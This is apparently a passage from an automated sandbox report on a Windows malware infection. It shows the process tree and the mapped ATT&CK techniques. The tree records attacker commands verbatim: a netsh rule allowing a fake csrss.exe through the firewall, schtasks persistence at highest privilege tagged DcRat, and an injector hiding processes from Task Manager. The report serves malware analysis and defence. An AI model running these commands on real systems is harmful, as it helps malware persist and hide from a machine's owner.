C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2232

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:1548

C:\Users\Admin\AppData\Local\Temp\4A1D.exe
C:\Users\Admin\AppData\Local\Temp\4A1D.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:788
- C:\Users\Admin\AppData\Local\Temp\4A1D.exe
  "C:\Users\Admin\AppData\Local\Temp\4A1D.exe" -h
  2⤵
  - Executes dropped EXE
  PID:5356

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3196

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1732

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:5252

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5548

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5840

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5964

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:6000
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:6024
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6024 -s 608
    3⤵
    - Program crash
    PID:6232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6024 -ip 6024
1⤵
PID:6120

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6316

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3668 -ip 3668
1⤵
PID:6496

C:\Users\Admin\AppData\Local\Temp\70B1.exe
C:\Users\Admin\AppData\Local\Temp\70B1.exe
1⤵
- Executes dropped EXE
PID:6892
- C:\Users\Admin\AppData\Local\Temp\70B1.exe
  "C:\Users\Admin\AppData\Local\Temp\70B1.exe"
  2⤵
  PID:7316
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:7540
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:7592
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    PID:7652
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:8024
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:8048
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      PID:8236
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:8892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:7248

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\9F05.dll
1⤵
PID:7780
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\9F05.dll
  2⤵
  PID:7812

C:\Users\Admin\AppData\Local\Temp\C367.exe
C:\Users\Admin\AppData\Local\Temp\C367.exe
1⤵
PID:8632
- C:\Users\Admin\AppData\Local\Temp\C367.exe
  "C:\Users\Admin\AppData\Local\Temp\C367.exe" -h
  2⤵
  PID:8712

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:8800
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  PID:8816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8816 -s 600
    3⤵
    - Program crash
    PID:8860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 8816 -ip 8816
1⤵
PID:8840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery